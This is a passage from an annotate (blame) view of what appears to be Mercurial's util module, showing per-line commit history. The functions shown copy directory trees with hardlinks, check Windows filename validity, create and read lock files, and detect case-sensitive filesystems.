37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	1914 raise error.Abort(str(inst))
3629 4cfb72bcb978 util: add copyfile function Matt Mackall <mpm@selenic.com> parents: 3568 diff changeset	1915
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1916
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1917 def copyfiles(src, dst, hardlink=None, progress=None):
24439 2ddfac2f163e util: add progress callback support to copyfiles Augie Fackler <augie@google.com> parents: 24236 diff changeset	1918 """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles Augie Fackler <augie@google.com> parents: 24236 diff changeset	1919 num = 0
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1920
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1921 def settopic():
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1922 if progress:
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1923 progress.topic = _('linking') if hardlink else _('copying')
698 df78d8ccac4c Use python function instead of external 'cp' command when cloning repos. Thomas Arendsen Hein <thomas@intevation.de> parents: 667 diff changeset	1924
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1925 if os.path.isdir(src):
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1926 if hardlink is None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1927 hardlink = (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1928 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1929 )
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1930 settopic()
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1931 os.mkdir(dst)
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	1932 for name, kind in listdir(src):
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1933 srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1934 dstname = os.path.join(dst, name)
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1935 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1936 num += n
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1937 else:
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1938 if hardlink is None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1939 hardlink = (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1940 os.stat(os.path.dirname(src)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1941 == os.stat(os.path.dirname(dst)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1942 )
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1943 settopic()
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1944
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1945 if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1946 try:
14235 b9e1b041744f rename util.os_link to oslink Adrian Buehlmann <adrian@cadifra.com> parents: 14234 diff changeset	1947 oslink(src, dst)
2050 e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2026 diff changeset	1948 except (IOError, OSError):
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1949 hardlink = False
1591 5a3229cf1492 do not copy atime and mtime in util.copyfiles Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 1585 diff changeset	1950 shutil.copy(src, dst)
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1951 else:
1591 5a3229cf1492 do not copy atime and mtime in util.copyfiles Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 1585 diff changeset	1952 shutil.copy(src, dst)
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1953 num += 1
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1954 if progress:
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1955 progress.increment()
698 df78d8ccac4c Use python function instead of external 'cp' command when cloning repos. Thomas Arendsen Hein <thomas@intevation.de> parents: 667 diff changeset	1956
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1957 return hardlink, num
11254 640d419725d0 util.copyfiles: don't try os_link() again if it failed before Adrian Buehlmann <adrian@cadifra.com> parents: 11010 diff changeset	1958
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1959
34069 ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1960 _winreservednames = {
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1961 'con',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1962 'prn',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1963 'aux',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1964 'nul',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1965 'com1',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1966 'com2',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1967 'com3',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1968 'com4',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1969 'com5',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1970 'com6',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1971 'com7',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1972 'com8',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1973 'com9',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1974 'lpt1',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1975 'lpt2',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1976 'lpt3',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1977 'lpt4',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1978 'lpt5',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1979 'lpt6',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1980 'lpt7',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1981 'lpt8',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1982 'lpt9',
34069 ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1983 }
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	1984 _winreservedchars = ':*?"<>\|'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1985
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1986
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1987 def checkwinfilename(path):
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1988 r'''Check that the base-relative path is a valid filename on Windows.
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1989 Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1990
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1991 >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1992 >>> checkwinfilename(b"foo/bar/con.xml")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1993 "filename contains 'con', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1994 >>> checkwinfilename(b"foo/con.xml/bar")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1995 "filename contains 'con', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1996 >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1997 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1998 "filename contains 'AUX', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1999 >>> checkwinfilename(b"foo/bar/bla:.txt")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2000 "filename contains ':', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2001 >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2002 "filename contains '\\x07', which is invalid on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2003 >>> checkwinfilename(b"foo/bar/bla ")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2004 "filename ends with ' ', which is not allowed on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2005 >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2006 >>> checkwinfilename(b"foo\\")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2007 "filename ends with '\\', which is invalid on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2008 >>> checkwinfilename(b"foo\\/bar")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2009 "directory name ends with '\\', which is invalid on Windows"
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2010 '''
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2011 if path.endswith('\\'):
0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2012 return _("filename ends with '\\', which is invalid on Windows")
0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2013 if '\\/' in path:
0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2014 return _("directory name ends with '\\', which is invalid on Windows")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2015 for n in path.replace('\\', '/').split('/'):
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2016 if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2017 continue
32131 377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	2018 for c in _filenamebytestr(n):
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	2019 if c in _winreservedchars:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2020 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2021 _("filename contains '%s', which is reserved " "on Windows")
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2022 % c
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2023 )
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2024 if ord(c) <= 31:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2025 return _(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2026 "filename contains '%s', which is invalid " "on Windows"
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2027 ) % stringutil.escapestr(c)
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2028 base = n.split('.')[0]
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	2029 if base and base.lower() in _winreservednames:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2030 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2031 _("filename contains '%s', which is reserved " "on Windows")
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2032 % base
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2033 )
34362 7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename() Yuya Nishihara <yuya@tcha.org> parents: 34361 diff changeset	2034 t = n[-1:]
15358 a347b3614bae util: don't complain about '..' in path components not working on Windows Matt Mackall <mpm@selenic.com> parents: 15159 diff changeset	2035 if t in '. ' and n not in '..':
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2036 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2037 _("filename ends with '%s', which is not allowed " "on Windows")
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2038 % t
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2039 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2040
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2041
34645 75979c8d4572 codemod: use pycompat.iswindows Jun Wu <quark@fb.com> parents: 34554 diff changeset	2042 if pycompat.iswindows:
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2043 checkosfilename = checkwinfilename
30994 ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2044 timer = time.clock
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2045 else:
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	2046 checkosfilename = platform.checkosfilename
30994 ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2047 timer = time.time
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2048
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2049 if safehasattr(time, "perf_counter"):
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2050 timer = time.perf_counter
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2051
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2052
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2053 def makelock(info, pathname):
36724 d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2054 """Create a lock file atomically if possible
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2055
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2056 This may leave a stale lock file if symlink isn't supported and signal
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2057 interrupt is enabled.
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2058 """
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2059 try:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2060 return os.symlink(info, pathname)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2061 except OSError as why:
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2062 if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2063 raise
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2064 except AttributeError: # no symlink in os
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2065 pass
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2066
36791 1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	2067 flags = os.O_CREAT \| os.O_WRONLY \| os.O_EXCL \| getattr(os, 'O_BINARY', 0)
1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	2068 ld = os.open(pathname, flags)
704 5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2069 os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2070 os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2071
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2072
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2073 def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2074 try:
39909 5fe0b880200e py3: convert os.readlink() path to native strings on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 39793 diff changeset	2075 return readlink(pathname)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2076 except OSError as why:
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2077 if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2078 raise
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2079 except AttributeError: # no symlink in os
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2080 pass
39910 4017968f0a1d util: use a context manager in readlock() Matt Harbison <matt_harbison@yahoo.com> parents: 39909 diff changeset	2081 with posixfile(pathname, 'rb') as fp:
4017968f0a1d util: use a context manager in readlock() Matt Harbison <matt_harbison@yahoo.com> parents: 39909 diff changeset	2082 return fp.read()
704 5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2083
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2084
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2085 def fstat(fp):
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2086 '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2087 try:
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2088 return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2089 except AttributeError:
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2090 return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2091
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2092
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2093 # File system features
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2094
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2095
29893 6f447b9ec263 util: rename checkcase() to fscasesensitive() (API) Martin von Zweigbergk <martinvonz@google.com> parents: 29843 diff changeset	2096 def fscasesensitive(path):
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2097 """
18911 451eb1c27c1b util: improve doc for checkcase Mads Kiilerich <mads@kiilerich.com> parents: 18868 diff changeset	2098 Return true if the given path is on a case-sensitive filesystem
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2099
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2100 Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2101 directory component.
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2102 """
24902 986a5c23b1c1 util.checkcase: don't abort on broken symlinks Siddharth Agarwal <sid0@fb.com> parents: 24692 diff changeset	2103 s1 = os.lstat(path)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2104 d, b = os.path.split(path)
15667 eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2105 b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2106 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2107 b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2108 if b == b2:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2109 return True # no evidence against case sensitivity
15667 eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	2110 p2 = os.path.join(d, b2)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2111 try:
24902 986a5c23b1c1 util.checkcase: don't abort on broken symlinks Siddharth Agarwal <sid0@fb.com> parents: 24692 diff changeset	2112 s2 = os.lstat(p2)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2113 if s2 == s1:
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2114 return False
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2115 return True
14004 97ed99d1f419 eliminate various naked except clauses Idan Kamara <idankk86@gmail.com> parents: 13985 diff changeset	2116 except OSError:
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2117 return True
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2118
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2119
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2120 try:
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2121 import re2
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2122
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2123 _re2 = None
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2124 except ImportError:
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2125 _re2 = False
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	2126
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2127
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	2128 class _re(object):
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2129 def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	2130 global _re2
